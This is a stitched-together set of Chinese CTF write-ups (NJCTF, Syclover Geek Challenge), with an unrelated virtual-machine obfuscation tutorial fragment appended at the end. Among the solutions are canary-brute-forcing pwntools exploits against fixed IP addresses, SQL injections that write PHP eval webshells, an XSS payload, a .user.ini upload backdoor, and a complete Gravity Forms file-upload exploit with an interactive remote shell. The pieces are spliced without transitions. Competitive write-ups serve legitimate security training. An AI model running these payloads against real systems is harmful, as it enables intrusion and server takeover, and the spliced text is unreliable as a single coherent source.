from pwn import * #context.log_level = 'debug' #context.arch='' def login(p,code): p.recvuntil('code:') p.sendline(str(code)) def handle(p,input,name): p.recvuntil('input:') p.sendline(str(input)) p.recvuntil('name?') p.sendline(str(name)) def main(): length = 1024 ''' while True: p = remote('218.2.197.235',23749) login(p,22) payload = "a" * length + 'ls' handle(p,'muhe',payload) length += 1 p.close() ''' p = remote('218.2.197.235',23749) login(p,22) payload = "a" * length + 'cat<flag' handle(p,'muhe',payload) print p.recvline() if __name__ == '__main__': main() 

2. messager

栈溢出简单粗暴,不过需要暴力猜解canary,然后直接ret到send flag的函数那里,把flag读回来。

from pwn import * context.log_level = 'debug' context.arch = 'amd64' LOCAL = False ''' if LOCAL: p = process('filename') else: p = remote('127.0.0.1',5555) ''' def crack_canary(): canary = "\x00" while True: if len(canary) == 8: break for item in range(0xff): canary_tmp = canary + chr(item) try: r = remote('218.2.197.234', 2090) #r = remote('127.0.0.1',5555) r.recvuntil("Welcome!\n") payload = "A"*(0x70-8) payload += canary_tmp r.send(payload) data = r.recv(100,timeout=1) if "Message received!" in data: canary += chr(item) log.info("get:{0}".format(hex(item))) break r.close() except: continue #raw_input("now,stop") log.info("[*] canary:{0}".format(hex(u64(canary)))) return canary def main(): #canary_local = 0x977e4ba376461900 canary = 0x9dccf42e364dcf00 payload = "a" *(0x70-0x8) + p64(canary) + "aaaaaaaa"+p64(0x0000000000400BC6) r = remote('218.2.197.234', 2090) r.recvuntil("Welcome!\n") r.send(payload) print r.recvline(1024,timeout=0.5) r.close() if __name__ == '__main__': main() 

Misc

1. check QQ

来QQ群签到得到flag。

2. easy crypto

第一步爆破出key

#include <stdlib.h> #include <stdio.h> #include <string.h> int main(int argc, char **argv) { FILE* input_file = fopen("plain.txt", "rb"); FILE* output_file = fopen("cipher.txt", "rb"); if (!input_file || !output_file) { printf("Error\n"); return 0; } char key[] = "!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"; char p=0,t=0,c=0,r=0; int i = 0; while (i<32) { p = fgetc(input_file); c = fgetc(output_file); for (key[i] = 0x21; key[i] < (int)0x7d; ++key[i]) { r = (((key[i % strlen(key)] ^ t) + (p - t) + i*i) & 0xff); if (c == r) break; } t = p; i++; } printf("%s", key); return 0; } 

由key逆算出原文flag(我用了爆破就不写逆了)

#include <stdlib.h> #include <stdio.h> #include <string.h> char key[] = "OKIWILLLETYOUKNOWWHATTHEKEYIS"; char FLAG[32] = { 0 }; char p = 0, t = 0, c = 0; char yuanwen = 0, miwen = 0; int i = 0; char temp; int main(int argc, char **argv) { FILE* input_file = fopen("flag.txt", "rb"); while ((miwen = fgetc(input_file)) != EOF) { for (char yuanwen = 0x0; yuanwen <= (int )0x7d; ++yuanwen) { temp = (((key[i % strlen(key)] ^ t) + (yuanwen - t) + i*i) & 0xff); if (miwen == temp) { c = yuanwen; break; } } t = c; FLAG[i] = c; i++; } printf("%s\n", FLAG); return 0; } 

3. knock

附件中是两个txt文件

knock.txt:

zjqzhexjzmooqrssaidaiynlebnzjovosltahzjerhorrqxoeironlobdozavoouzjovosqfqsltahmqnqrrjotoerzjohorrqxoebooqydrztyqqojolx 

text.txt

...._....._.._...._..._....._...._..._..._...._...._......._._...._....._.._...._..._..._...._...._..._..._...._.._..._......._.................. 

先讲knock.txt用磁频分析,找出差不多正确的语句。

that might be easy you could find the key from this message i used fence to keep the key qfqs_ltah_mqn qrr joto er zjo horrqxo ebooqydrztyqqojolx 

前半句已经差不多正确了,主要是后面的

通过观察可以发现,这里的词与词之间的间隔和text.txt是里面的点和下划线是差不多的。所以按这样分开,然后按照已经正常的前半句的字母对应关系翻译出来

是这样:

that might be easy you could find the key from this message i used fence to keep the key away from bad ass here is the message ineealcstrlaaehefg

最后的字符还是乱,但是语句里面提示了栅栏密码。所以试试,3栏时得出:

icanseetherealflag 

这就是flag了,外面加上NJCTF{}即可。

Mobile

1.safebox

暴力跑testAndroid里的check逻辑,可以得到两组解,只有一组符合要求。

package com.muhe; import javafx.beans.property.IntegerProperty; import java.util.ArrayList; public class Main { public static void main(String[] args) { String flag = "NJCTF{have"; int num1 = 48533584; System.out.println(flag + (((char)(num1 / 1000000))) + (((char)(num1 / 10000 % 100))) + (((char)(num1 / 100 % 100+10))) + "f4n}"); num1 = 48539584; System.out.println(flag + (((char) (num1 / 1000000))) + (((char) (num1 / 10000 % 100))) + (((char) (num1 / 100 % 100 + 10))) + "f4n}"); Crack ck = new Crack(); ArrayList list = new ArrayList(); int num = 10000000; while (true){ if(num>99999999){ break; } boolean ret = ck.crack(num); if(ret){ list.add(num); } num += 1; } System.out.println("Done"); for(int i = 0;i<list.size();i++){ System.out.println(list.get(i)); } } } 
package com.muhe; /** * Created by muhe on 2017/3/11. */ public class Crack { public boolean crack(int v4) { int v11 = 3; if(v4 > 10000000 && v4 < 99999999) { int v7 = 1; int v8 = 10000000; int v3 = 1; if(Math.abs(v4 / 1000 % 100 - 36) == v11 && v4 % 1000 % 584 == 0) { int v5 = 0; while(v5 < v11) { if(v4 / v7 % 10 != v4 / v8 % 10) { v3 = 0; } else { v7 *= 10; v8 /= 10; ++v5; continue; } break; } if(v3 != 1) { return false; } return true; } } return false; } } 

得到结果

NJCTF{have05-f4n} NJCTF{have05if4n} //这个就是flag Done 48533584 48539584 

第七季极客大挑战writeup

# 第七季极客大挑战writeup

 

## misc
#### 签到题
flag就是这个
SYC{We1c0m3_To_G33k_2O!6}

#### 小彩蛋
日常关注微博:三叶草小组Syclover
私信发送flag

#### 闪的好快
原本想多来些图片,然后最好通过py脚本实现,但是为了大家都可以玩,大幅度降低图片数量,
附上脚本

“`python
import os, re
from PIL import Image
from qrtools import QR
def extractFrames(giffile, outputdir):
with Image.open(giffile) as frame:
nframes = 0
while frame:
frame.save( ‘%s/%s-%s.gif’ % (outputdir, os.path.basename(giffile), nframes ) , ‘GIF’)
nframes += 1
try:
frame.seek( nframes )
except EOFError:
break;
return True
# extract every fram
extractFrames(‘test.gif’, ‘dec3_frames’)
# read qr code in each extracted image
path=”./dec3_frames/”
nugget=”
for filename in sorted(os.listdir(path), key=lambda x: int(re.findall(r’\d+’, x)[0])):
myCode = QR(filename=path+filename)
if myCode.decode():
nugget+=myCode.data_to_string()
print nugget
“`

#### Come_game(score:50)
https://pan.baidu.com/s/1dE1zzWH
嗯,很好玩的一个小游戏,通关就有flag了

#### snow
html隐写,源代码里有key,在http://fog.misty.com/perry/ccs/snow/snow/snow.html可解密

#### 旋转跳跃
key:syclovergeek 链接: https://pan.baidu.com/s/1hsdncKs 密码: xu5b

用mp3stego就可以解出隐藏的txt文档

“`
Decode.exe -X -P syclovergeek sycgeek-mp3.mp3
“`

#### 凯撒部长的奖励(score:100)

题目描述:
>就在8月,超师傅出色地完成了上级的特遣任务,凯撒部长准备给超师傅一份特殊的奖励,兴高采烈的超师傅却只收到一长串莫名的密文,超师傅看到英语字串便满脸黑线,帮他拿到这份价值不菲的奖励吧。 密文:MSW{byly_Cm_sIol_lYqUlx_yhdIs_Cn_Wuymul_il_wuff_bcg_pCwnIl_cm_u_Yrwyffyhn_guh_cz_sio_quhn_ni_ayn_bcm_chzilguncihm_sio_wuh_dich_om}

这里考查基本的古典密码学,标题给了很明显的提示,凯撒加密。已知flag的格式,对应一下就可以发现是向左偏移了6位。因为想让大一新生们写写程序,所以密文给得比较长,写个程序可以轻松得到flag,当然更简单的方法就是直接找个网站(比如:http://luishen.myartsonline.com/update/V1.3.html )扔进去就可以得到flag了。解出来的flag为`SYC{here_Is_yOur_rEwArd_enjOy_It_Caesar_or_call_him_vIctOr_is_a_Excellent_man_if_you_want_to_get_his_informations_you_can_join_us}`
出题人四级未过,句子中的错误望大家包涵Orz

#### MD5cracker

拿到的md5为:“`01540f319ff0cf88928c83de23l27fbb“` 放到解密网站提示格式错误,检查格式,由md5原理可得,md5为16进制得来,没有l,联想l改为1得flag

#### PEN_AND_APPLE

这道题有些脑洞,不过也是一种很常见的隐写技术,后来提示与win的type命令有关,可以找到相关资料,type命令可以用于ntfs文件写入,通过工具“`alternatestreamview“`扫描文件得到如下所示


导出数据得到

#### 藏着小秘密的流量包
这主要是一个蓝牙传输文件的过程,经查找资料可知蓝牙传输文件的协议用的是obex

再wireshark过滤一下就看到了

然后把这个文件导出解压就ok

#### 我好菜啊-杂项部分(score:150)
题目描述:
>超师傅在大一暑假的实习中遇到了几个来自985、211高校的同学,深深地被他们扎实的编程基础和极强的思维能力折服了,心里默念了一个假期的:我好菜啊!于是他决定要好好提升下自己的编程能力,刚好他拿到了一张奇怪的图片,据说这原先是一张png图片,超师傅决定用代码来还原它真正的样貌!注意:本题flag(格式不是SYC{})为 异或 运算用的key。文件下载链接:(http://pan.baidu.com/s/1slB1sKH) 学习参考链接:(http://stackoverflow.com/questions/2612720/how-to-do-bitwise-exclusive-or-of-two-strings-in-python )(http://blog.csdn.net/bisword/article/details/2777121 )(https://www.baidu.com/s?wd=%E5%BC%82%E6%88%96 )

这题想让大一的同学们了解下png图片的文件结构,在学习参考链接中可以知道png的文件头是固定的:`0x89 0x50 0x4E 0x47 0x0D 0x0A 0x1A 0x0A`,然后又知道是经过异或运算得到的,异或运算又是可逆的,异或后的结果再次异或即可得到原文。所以这题的思路就很明确了:
先随便找一张正常的png图片X,分别从X和题目给的文件中读取相同字节的数据,然后进行异或运算,就可以得到异或用的key了,也就是本题的flag

因为key的长度不知道,就读取1-8个字节分别异或一遍。最后的flag为`SYc1OV3r`长度为8

## web
#### web_1(score:50)
题目描述:
>来搞web了,先瞅瞅基础姿势 http://web.sycsec.com/a59817b3061870c0/


提示flag不在浏览器显示这一步,那就去传输过程中看看。

搞web的基础姿势,抓包get

#### web_2(score:50)

提示不是amdin,然后抓个包看看

可以猜测服务器后端使用cookie里的`whoami`和`root`的值对用户的身份进行校验,将`guest`改为`admin`,将`root`的值改为1,就成为admin用户,拿到flag了

搞web的基础姿势,简单越权get

#### Social Engineering

进入页面有一邮箱,通过社工库可以得到邮箱用户的名字,根据提示进入贴吧搜索人名,得到QQ联系方式,进入空间发现日志和留言综合判断,flag应该为域名的注册联系人手机号码,寻找域名,在qq的详细信息里找到,得到flag(所给的手机号也是指向一个人名,思路相同)

#### sqli1
从题目源码中得到提示,注入点为sycid

Payload:
“`
http://web.sycsec.com/d03e52c272e42e7c/?sycid=-1 union select 1,group_concat(id,flag),3 from `#FL4G#` –+
“`
需要注意的是:表名中有特殊符号

当然,你也可以使用SQLMAP.
“`
python sqlmap.py -u http://web.sycsec.com/d03e52c272e42e7c/?sycid=1 -D sycsqli1 -T #FL4G# –dump –hex
“`
最后得到FLAG:SYC{Sqli_1s_Not_So_Hard}

#### sqli2
1.手注
首先访问登陆抓包:

发现存在一个debug参数,我们将它的值修改为1

从返回信息中得到提示:
Only 1 row returned can you get flag.
所以,我们只需要让它返回一条数据即可
可以使用limit来构造:username=’ or 1=1 limit 0,1#

最后得到FLAG:SYC{G00d_K33p_Trying_Wish_U_Success}

2.SQLMAP
其实这道题用SQLMAP也可以跑出来
首先我们直接用–form来提取,并把debug的参数编辑为1
“`
python sqlmap.py -u http://web.sycsec.com/a2274e0e500459f7/ –form
“`
然后跑出用户名和密码

利用跑出来的用户名和密码去登陆,最后同样也能获得FLAG:

#### 127.0.0.x
localhost呢想到了X-Forwarded-For
我出这个题的时候想的是两种做法:
第一种呢是靠运气:
* 一类情况是碰巧数了有50个“滴”字,然后将X-Forwarded-For=127.0.0.50提交一次碰巧就撞到了;
* 另一类呢是爆破127.0.0.1-127.0.0.255,也是碰巧爆破一次或者爆破多次碰到了;
* 还有一类呢就是发现了“滴”的个数是在50-55范围内变化,同时联想到x的范围,然后就选了一个数(比如50),多次提交127.0.0.50做出来的。

第二种呢是洞悉原理:

我提示过rand(50,55)所以大家可以猜到后台页面是咋写的:

“`
<?php
$bingo=’127.0.0.’.rand(50,55);
echo ‘落雨声嘀嗒’;
for($i=0;$i<rand(50,55);$i++){
echo ‘滴’;
}
if ($_SERVER[“HTTP_X_FORWARDED_FOR”]===$bingo){
echo ‘flag:\’SYC{Shan_Dong_Ren_Xiong_Qi}\”;
}else{
echo ‘<br/>’;
echo ‘Only localhost can access!’;
echo ‘<br/>’;
}
?>
“`
这时的你茅厕顿开吧

#### php_is_fun

“`php
<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET[‘file’];
$path = “upload/”.$_GET[‘path’];
}else{
show_source(__FILE__);
exit();
}

if(strpos($path,’..’) > -1){
die(‘SYCwaf!’);
}

if(strpos($url,’http://127.0.0.1/’) === 0){
file_put_contents($path, file_get_contents($url));
echo “console.log($path update successed!)”;
}else{
echo “Hello.Geeker”;
}
“`

必须要127.0.0.1,然后本网页又可以输出console.log($path update successed!),其中$path可控,这也就表示file_put_contents的内容也可控了。于是可以写一句话马,但是坑点在于是要注意编码问题。url编码两次就好了。

“`
http://game.sycsec.com:50084/?path=lemon.php&file=http%253A%252f%252f127.0.0.1%252f%253Fpath%253D%253C%253Fphp%2520@eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%2526file%253Dhttp%253A%252f%252f127.0.0.1%252findex.php
“`

#### 撸啊撸

随便点击一张图片进去看看,发现有个下载按钮,我们查看一下源代码

可以看见我们点击后会从download.php下载壁纸下来,url参数是images/2.jpg,这个值是路径,我们测试一下是否存在任意文件下载

http://lol.sycsec.com/download.php?url=download.php
我们构造一个链接下载下来了一个download.php的文件

可以看见,download.php并没有对url参数做任何限制,所以导致了任意文件下载。我们继续下载

http://lol.sycsec.com/download.php?url=index.php

打开后可以在js代码里面找到另外一个文件api.php,然后将它下载下来(ps:这在浏览器里面看源代码或者抓下包都可以找到api.php这个文件的)

http://lol.sycsec.com/download.php?url=api.php

这里有个拼接的sql语句,想着是否存在sql注入,但是发现前面进行了check,看img_num和img_first变量是否为数字,不是的话则就强制转换成数字。这里其实是可以绕过的,绕过的关键点就在and身上,我们大家都知道and和&&是一样的意思,但是在php中存在一个优先级的问题,&&的优先级比=的优先级高,而=的优先级又比and的优先级高,因此这里的and其实并没有什么用,只要前面的is_numeric($img_num)为真即可绕过,即当img_num变量为数字的时候img_first可以为任意值

http://lol.sycsec.com/api.php?img_num=1&img_first=1 union select 1,2– –

可以看见是存在注入的,但是flag并不在数据库中,我们需要拿webshell

因为是Linux的系统,因此我们可以猜测路径,但是/var/www/html/并不可写,在之前的页面中我们找到了另外一个目录images,这个目录是可写的,于是我们构造下面的payload

http://lol.sycsec.com/api.php?img_num=1&img_first=1 union select 1,'<?php @eval($_POST[“cmd”])?>’ from images into outfile ‘/var/www/html/images/cmd.php’– –

可以看到已经拿到了webshell,连上菜刀即可拿到flag

#### 皓宝宝的留言板
就是一道简单的xss,仅仅过滤script,src,img,http几个字符串,通过简单测试就可以测出。

所以要利用eval去执行你的xss代码,并且要把要执行的代码进行编码

示例payload

“`
<body onload=”eval(Sting.fromCharCode(编码后的东西))”></body>
“`

#### 人生苦短

>人生苦短,我用Python

根据各种有趣的tips,和最后激动人心的神秘字符串,可以看出解题思路是:base64与base32交替解密十次
“`
import base64

def encodeFlag(flag):
for i in range(0,10):
flag=base64.b64encode(flag)
flag=base64.b32encode(flag)
return flag
def decodeFlag(flag1):
for i in range(0,10):
flag1=base64.b32decode(flag1)
flag1=base64.b64decode(flag1)
return flag1
flag=”SYC{I_L0ve_Y0u}”
flag1 = ‘神秘代码’

\# print(encodeFlag(flag))
\# print(decodeFlag(encodeFlag(flag)))

print(decodeFlag(flag1))
“`

#### 狗师傅的计算器

本题进入页面是一串符号

“`
+++++ +++++ [->++ +++++ +++<] >++++ +++++ +++++ +++++ .<+++ +[->- —<] >–.+ +++++ +.— —– -.<++ +[->+ ++<]> +++.- -.— —– .<+++ ++++[ ->— —-< ]>— —.< +++++ +++[- >++++ ++++< ]>++. —– —.+ +++++ ++.<
“`

解码后是welcome.php,访问之,出现计算器,计算后有两个页面,[syc.php]&[robot.txt]进入robots.txt,发现网页源码,分析之,可以通过php的伪协议进行包含
“`
Payload:
game.sycsec.com:50085/result.php?syc=php://filter/convert.base64-encode/resource=syc
“`
得到base64的源码,解码之,得flag

#### Only number never lies to you
这道题最开始可能大家比较懵逼,但是后来提示了:dir

仔细观察页面上的提示信息,发现这串数字:151107220741**
似乎是按照时间戳来生成的,并且注意到5是加粗显示的,结合题目“Only number never lies to you” 从而知道这个15肯定应该是16才能符合现在的时间. 又根据提示dir,想到目录是根据**时间戳**来生成,而时间戳最后多出了两位**,我们可以爆破得到目录
进入后,获得新的提示:
./hello.html

之后访问该页面,发现是一处上传:

之后其实是一个通过上传.user.ini和gif文件来构成一个隐藏后门的思路
可以首先确定可上传文件的后缀,发现只能上传ini和gif后缀的文件
然后在本地创建一个.user.ini文件,内容为:
“`
auto_prepend_file=01.gif
“`
然后写一个一句话保存为01.gif
这里还需要注意一点,上传的时候需要先上传01.gif之后再上传.user.ini
否则会受到.user.ini的影响,造成无法上传了
上传后,目录下所有php文件都会去包含我们的01.gif的内容
回到我们根目录下,index.php,这时候它已经包含了我们的一句话了
从而,成功Getshell.
后来看大家写的Writeup发现很多是通过上传.php.gif上传Getshell的
当然这不是出这道题目的本意,
不过测试发现CentOS默认的2.2.15可以对x.php.任意字符 作为PHP进行解析
造成了只需要上传shell.php.gif就可以成功Getshell.

#### 上传(1)
题目设有两句引导语:
> echo ‘This type of file is forbidden’;

> echo ‘You are closer to the answer’;
这两句可以推测出,这里是想让你用PHP文件的多种后缀名(php3,php4,pht等)来绕过黑名单

上传phtml后缀的文件后,就拿到了第一个flag
#### 上传(2)

根据你上传文件输出的内容,可以看出是过滤了哪个字符

> $array=array(‘<?’,’?>’,’php’);

这里由于我的失误,在随后的过滤中只过滤了一次,也就是说你可以双写上述字符进行绕过,但是有些同学给的payload仅双写了某个字符(比如仅仅双写了”<?”),这样是不可以的

在修正了我的错误后,过滤规则没变,只不过会过滤到直到没有上面的三个元素,遂上面的方式失效了

但是,可以使用PHP语言的短标签(php.ini中的short_open_tag=on)来绕过:
“`
<script language=’php’>phpinfo();</script>
“`
加上php被过滤,因此转换下大小写即可:
例如:

“`
<script language=’pHp’>phpinfo();</script>
“`

#### 你是人间的四月天

首先,我是使用GET方式接收sel的值,所以,在地址栏可以很容易的看出,无论是选啥子都是sel的值都是no,只要改成yes久好了

改完后,提示你还是不相信我是百度,所以更改发包中的HOST值为“www.baidu.com”

此处很多同学包括那曾经的我都以为改了HOST那不就是访问百度了,难道三叶草不光日核弹,屌得都搞了www.baidu.com了?

让我们看一下Burp Suite的抓包界面:

也就是说,包还没发出去,就已经知道了你要发给谁了,这可以直观的看出HOST和你包要发向的网站地址无必然关系

不多说了,请看这篇博文

“`
http://blog.csdn.net/witsmakemen/article/details/8994963
“`

#### pentest(I)
graityforms插件有漏洞

“`php
<?php
/****************************************************************************************************************************
*
* Exploit Title : Gravity Forms [WP] – Arbitrary File Upload
* Vulnerable Version(s): 1.8.19 (and below)
* Write-Up : https://blog.sucuri.net/2015/02/malware-cleanup-to-arbitrary-file-upload-in-gravity-forms.html
* Coded by : Abk Khan [ an0nguy @ protonmail.ch ]
*
*****************************************************************************************************************************/
error_reporting(0);

echo ”
_____ _ _ ______ _ _
/ ____| (_) | | ____| | | |
| | __ _ __ __ ___ ___| |_ _ _| |__ __ _| | |___
| | |_ | ‘__/ _` \ \ / / | __| | | | __/ _` | | / __|
| |__| | | | (_| |\ V /| | |_| |_| | | | (_| | | \__ \
\_____|_| \__,_| \_/ |_|\__|\__, |_| \__,_|_|_|___/
__/ |
|___/ > an Exploiter by AnonGuy\n”;
$domain = (@$argv[1] == ” ? ‘http://localhost/wordpress’ : @$argv[1]);
$url = “$domain/?gf_page=upload”;
$shell = “$domain/wp-content/_input_3_khan.php5”;
$separator = ‘——————————————————————-‘;

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, ‘<?php $_POST[2]($_POST[1]);?>&form_id=1&name=lemon.php&gform_unique_id=../../../&field_id=3’);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, ‘”ok”‘) !== false) {
echo “$separator\nShell at $shell\n$separator\nSpawning a ‘No-Session’ Shell . . . Done!\n$separator\n”;
while ($testCom != ‘exit’) {
$user = trim(get_string_between(file_get_contents(“$shell?0=echo%20’~’;%20whoami;%20echo%20’~'”), ‘~’, ‘~’));
$b0x = trim(get_string_between(file_get_contents(“$shell?0=echo%20’~’;%20hostname;%20echo%20’~'”), ‘~’, ‘~’));
echo “$user@$b0x:~$ “;
$handle = fopen(“php://stdin”, ‘r’);
$testCom = trim(fgets($handle));
fclose($handle);
$comOut = trim(get_string_between(file_get_contents(“$shell?0=echo%20’~’;%20” . urlencode($testCom) . “;%20echo%20’~'”), ‘~’, ‘~’)) . “\n”;
echo $comOut;
}
}
else {
die(“$separator\n$domain doesn’t seem to be vulnerable! :(\n$separator”);
}

function get_string_between($string, $start, $end)
{
# stolen from stackoverflow!
$string = ‘ ‘ . $string;
$ini = strpos($string, $start);
if ($ini == 0)
return ”;
$ini += strlen($start);
$len = strpos($string, $end, $ini) – $ini;
return substr($string, $ini, $len);
}
?>
“`

getshell

“`
php exp.php http://wordpress.sycsec.com

得到shell:http://wordpress.sycsec.com/wp-content/uploads/_input_3_lemon.php
“`

从phpinfo可以看到禁用了很多函数,执行命令是没啥希望,然后有提示flag是在/home/目录下面,于是可以绕过open_basedir去读文件内容获得flag

利用脚本:https://www.leavesongs.com/bypass-open-basedir-readfile.html

#### pentest(II)
深入内网的时候,上一个php代理,进行主机发现,端口扫描。
可以发现一台服务器rsync是未授权访问,并且能够上传下载代码,而且还有web服务。
所以可以利用rsync上一个shell,上菜刀后就可以拿到flag。
## re
#### 辣鸡android RE (150)

送分题,对比较的部分主要在so里。


用户名为`syclover`
密码是 table里这些字符,取`0,2,4,6…..`位

最后得到`SYC{Have_FUn_W1th_GeekChal@}`
#### 辣鸡android RE (300)

送分题2号,像给了源码一样,只是需要提供注册机给出题人check而已。
算法就是把用户输入的用户名,经过一些列变换之后,作为AES加密的key,加密输入的用户名,然后base64编码加密结果,和用户输入的密文比对。
“`python
# -*- coding:utf-8 -*-

from Crypto.Cipher import AES

s1 = ThisIsNotFL@GplzDonnotSubmitThisString#HaveFunWithGeekmastergogo”
s2 = talkischeapshowmethecode$ischeapshowmethe#SycSYC{IamNotFLAG2333}”
xorString = “o0xmuhe”

name = “”
pwd = “”

def getpwd(user_name):
global name
global pwd
aes_key = ”
length = len(s1)
for i in range(len(user_name)):
encrypt1 = s1[(ord(user_name[i])+3) % length]
encrypt2_1 = ord(encrypt1)^ ord(xorString[(i % 7)])
encrypt2 = s2[(encrypt2_1 + 7) % 0x40]
aes_key += encrypt2

aes_key = aes_key[::-1]
cryptor = AES.new(aes_key,AES.MODE_ECB)
pwd = cryptor.encrypt(user_name+’\x10’*16).encode(‘base64’)
name = raw_input(‘input:’)
if len(name) != 0x10:
print “length error”
else:
getpwd(name)
print ‘username:’+name
print ‘password:’+pwd
“`

#### Ernie
程序分三步输入
输入Name取其位数
输入key与字符串比较
输入number

判断输入的key是否是已知字符串的ascii

若正确:

V6是name的长度
J是递减数
V3是lucky number

需要3个都是6

我们输入:
Name:6个字节
Key:已知字符串的ascii
Lucky number:6

不难发现其实只要用已知字符串的ascii和6异或就能直接出flag,嘻嘻。

#### re10
这是一道签到题,把文件拖到IDA中,查看字符串即可看到flag。

#### re50
一个基本的crackme题目,根据字符串错误提示进行定位,解密是一个简单的查表取值操作。会把用户的输入转化坐标,跟一下就可以得到flag。

#### re100
加了一个简单的SEH反调试,可能很多人都用插件过掉了,其实还是推荐自己动手搞学习一下异常处理这些知识。除了反调试就没有什么别的了,简单的四则运算对比flag,也是跟一下就可以得出答案。

#### re200-1
这是一个Windows窗体程序,并没有给出确认按钮。首先分辨出来这是个窗口而不是对话框,于是可以知道这是通过注册窗口类实现的。找到了窗口类就可以发现主消息处理函数,从中发现只要收到5次点击消息就会对输入进行验证,而验证使用了极其简单的逐位对比,调试跟一遍就可以看到flag。

#### re200-2
这是一个对输入进行hash的程序,只要对“flag”进行hash就可以得出答案。但是这里会不断的弹出MessageBox对话框,而且程序被vmp保护不能直接patch。所以可以直接把MessageBoxW的函数头hook掉,改成ret 0x10即可。

#### pwn200
程序里直接提供了system和/bin/sh,只要按要求执行step1、step2、step3函数即可(留有符号)。这是简单的模拟了一下x86下的rop,安装要求布置下栈即可,平衡栈可用__libc_csu_init里的gadgets。
另外发现有人是跳到GetInput去读一个/bin/sh的,因为直接给了system,不需要leak libc所以其实都是一样的。

 
***
## linux
#### linux_1
加载docker镜像:
“`
docker load < x.tar
“`
运行docker并找flag文件:
“`
docker run -it x.tar /bin/bash
find / -name “*flag*”
“`

#### linux_2
swp文件恢复后可以看到flag
“`
vim -r x.swp
“`

#### linux_3
与去年的linux大致相同,获取hash
“`
cat /etc/shadow
“`
然后格式是syc+生日,字典生成后,再用hashcat或者john跑一下可以得到syc19770308
***
## program
#### compress300(score:250)
此题的压缩包是不同类型的随机压缩300层,然后就真的可以手解…

#### 我好菜啊-编程部分(score:200)
题目描述:
>超师傅在大一暑假的实习中遇到了几个来自985、211高校的同学,深深地被他们扎实的编程基础和极强的思维能力折服了,心里默念了一个假期的:我好菜啊!于是他决定要好好提升下自己的编程能力,刚好他拿到了一张奇怪的图片,据说这原先是一张png图片,超师傅决定用代码来还原它真正的样貌!解决完 我好菜啊-杂项部分 的同学,你们应该知道怎么拿本题的flag

在`我好菜啊-杂项部分`中得到了异或用的key,然后就是用key去恢复图片了。从文件中每读取的8个字节就用key异或一次,写入新的png图片,打开就知道要怎么拿flag了

将程序和恢复后的图片交给我,就可以拿到一张经过异或的含有flag的png图片

用上面的程序恢复下就可以得到flag图片了

#### 单身二十年,手速一定快

进入页面,发现一大串字符,要统计@的个数,还要快速提交,需要脚本提交,要注意@的个数统计出来要-1,还有注意session的问题
<br/>附上Py脚本
“`
import requests
import re

url = ‘http://web.sycsec.com/0b3a7c6ca7f1f2e6/’

# open session
html = requests.session()
contents = html.get(url).content

# Get @ & send psot
nums = len(re.findall(r’@’,contents))-1
Send = html.post(url=url+’/judge.php’,data={‘mytext’:nums})

# Get answers
print Send.content
“`

动手实现代码虚拟机

什么是代码虚拟化

虚拟化实际上我认为就是使用一套自定义的字节码来替换掉程序中原有的native指令,而字节码在执行的时候又由程序中的解释器来解释执行。自定义的字节码是只有解释器才能识别的,所以一般的工具是无法识别我们自定义的字节码,也是因为这一点,基于虚拟机的保护相对其他保护而言要更加难破解。但是解释器一般都是native代码,这样才能使解释器运行起来解释执行字节码。其中的关系就像很多的解释型语言一样,不是系统的可执行文件,不能直接在系统中运行,需要相应的解释器才能运行,如python。

为什么研究代码虚拟化

目前很多地方都会用到虚拟化技术,比如sandbox、程序保护壳等。很多时候为了防止恶意代码对我们的系统造成破坏,我们需要一个sandbox,使程序运行在sandbox中,即使恶意代码破坏系统也只是破坏了sandbox而不会对我们的系统造成影响。还有如vmp,shielden这些加密壳就是内置了一个虚拟机来实现对程序代码的保护,基于虚拟机的保护相对其他保护而言破解起来会更加困难,因为使用现有的工具也是不能识别虚拟机的字节码。在见识过这类保护壳的威力之后,也萌生出了自己动手写一个的冲动,所以才有了本文。

基于虚拟机的代码混淆

基于虚拟机的代码保护也可以算是代码混淆技术的一种。代码混淆的目的就是防止代码被逆向分析,但是所有的混淆技术都不是完全不能被分析出来,只是增加了分析的难度或者加长了分析的时间,虽然这些技术对保护代码很有效果,但是也存在着副作用,比如会或多或少的降低程序效率,这一点在基于虚拟机的保护中格外突出,所以大多基于虚拟机的保护都只是保护了其中比较重要的部分。在基于虚拟机的代码保护中可以大致分为两种:
1. 使用虚拟机解释执行解壳代码。这种混淆是为了隐藏原代码是如何被加密的,又是如何被解壳代码解密的。这种方式对于静态分析来说比较有效,但是对于动态调试效果不大。因为动态调试的时候完全可以等到解壳代码解密初源代码之后进行脱壳。只有配合其他保护技术才会有比较强的保护效果。

2. 把需要保护的程序源码转换为自定义字节码,再使用虚拟机解释执行被转换后的程序字节码,而程序的源码是不会出现在程序中的。这种方式不管静态还是动态都可以有效的保护。

 

可以看出两种保护的区别就是,第一种只保护解壳代码,没有保护源码。第二种直接保护了所有源码。所以第一种的强度也小于第二种。本文则是以第二种方式来实现保护,也就是保护所有源码。

在基于虚拟机的保护技术中,通常自定义的字节码与native指令都存在着映射关系,也就是说一条或多条字节码对应于一条native指令。至于为什么需要多条字节码对应同一条native指令,其实是为了增加虚拟机保护被破解的难度,这样在对被保护的代码进行转换的时候就可以随机生成出多套字节码不同,但执行效果相同的程序,导致逆向分析时的难度增加。

 

需要实现什么?

首先了解过代码虚拟化的原理之后,知道了其中的原理就是自定义一套字节码,然后使用一个解释器解释运行字节码。所以,目标分为两部分:
1. 定义字节码
字节码只是一个标识,可以随意定义,以下是我定义的字节码,其中每条指令标识都对应于一个字节

/*
* opcode enum
*/
enum OPCODES
{
MOV = 0xa0, // mov 指令字节码对应 0xa0
XOR = 0xa1, // xor 指令字节码对应 0xa1
CMP = 0xa2, // cmp 指令字节码对应 0xa2
RET = 0xa3, // ret 指令字节码对应 0xa3
SYS_READ = 0xa4, // read 系统调用字节码对应 0xa4
SYS_WRITE = 0xa5, // write 系统调用字节码对应 0xa5
JNZ = 0xa6 // jnz 指令字节码对应 0xa0
};

因为我的demo只是一个简单的crackme,所以只定义了几个常用的指令。如果有需要,可以在这个基础上继续定义出更多的字节码来丰富虚拟机功能。
2. 实现解释器
